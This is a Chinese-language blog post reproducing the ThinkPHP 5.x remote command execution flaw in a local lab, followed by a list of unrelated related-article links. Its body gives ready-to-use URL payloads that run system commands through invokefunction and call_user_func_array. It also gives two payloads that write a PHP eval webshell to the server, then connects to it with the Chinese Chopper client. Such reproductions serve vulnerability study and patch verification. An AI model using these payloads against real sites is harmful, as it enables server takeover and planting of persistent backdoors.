ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
利用ThinkPHP内置的ThinkAjax实现异步传输技术的实现方法
Dec 19 PHP
PHP三元运算符的结合性介绍
Jan 10 PHP
php-cli简介(不会Shell语言一样用Shell)
Jun 03 PHP
php preg_replace替换实例讲解
Nov 04 PHP
PHP文件大小格式化函数合集
Mar 10 PHP
ThinkPHP实现将本地文件打包成zip下载
Jun 26 PHP
微信公众平台之快递查询功能用法实例
Apr 14 PHP
PHP云打印类完整示例
Oct 15 PHP
ThinkPHP模板标签eq if 中区分0,null,false的方法
Mar 24 PHP
YII2自动登录Cookie总是失效的解决方法
Jun 28 PHP
Laravel 错误提示本地化的实现
Oct 22 PHP
php 输出缓冲 Output Control用法实例详解
Mar 03 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
深入分析php中接口与抽象类的区别
2013/06/08 PHP
PHP实现CSV文件的导入和导出类
2015/03/24 PHP
Thinkphp+smarty+uploadify实现无刷新上传
2015/07/30 PHP
thinkPHP实现的联动菜单功能详解
2017/05/05 PHP
简单的php购物车代码
2020/06/05 PHP
纯CSS3实现质感细腻丝滑按钮
2021/03/09 HTML / CSS
jquery 回车事件实现代码
2011/08/23 Javascript
JS实现div居中示例
2014/04/17 Javascript
js实现window.open不被拦截的解决方法汇总
2014/10/30 Javascript
JavaScript结合AJAX_stream实现流式显示
2015/01/08 Javascript
cocos2dx骨骼动画Armature源码剖析(一)
2015/09/08 Javascript
jQuery实现的网格线绘制方法
2016/06/20 Javascript
JS实现漂亮的时间选择框效果
2016/08/20 Javascript
JavaScript“尽快失败”的原则实例详解
2016/10/08 Javascript
Javascript+CSS3实现进度条效果
2016/10/28 Javascript
HTML的select控件美化
2017/03/27 Javascript
Vue学习笔记进阶篇之过渡状态详解
2017/07/14 Javascript
iview中Select 选择器多选校验方法
2018/03/15 Javascript
JS获取指定月份的天数两种实现方法
2018/06/22 Javascript
细说webpack6 Babel的使用详解
2019/09/26 Javascript
npm ci命令的基本使用方法
2020/09/20 Javascript
Python的爬虫包Beautiful Soup中用正则表达式来搜索
2016/01/20 Python
Python实现查找匹配项作处理后再替换回去的方法
2017/06/10 Python
pandas修改DataFrame列名的方法
2018/04/08 Python
Python之两种模式的生产者消费者模型详解
2018/10/26 Python
11个Python3字典内置方法大全与示例汇总
2019/05/13 Python
Python3实现mysql连接和数据框的形成(实例代码)
2020/01/17 Python
python下对hsv颜色空间进行量化操作
2020/06/04 Python
Numpy中ndim、shape、dtype、astype的用法详解
2020/06/14 Python
解决Pyinstaller打包软件失败的一个坑
2021/03/04 Python
Hotels.com日本:国外和海外住宿,酒店预订
2019/12/13 全球购物
初中新生军训方案
2014/05/13 职场文书
竞选班长演讲稿500字
2014/08/22 职场文书
违反交通安全法检讨书
2014/10/24 职场文书
读《儒林外史》有感:少一些功利,多一些真诚
2020/01/19 职场文书
MySQL系列之十三 MySQL的复制
2021/07/02 MySQL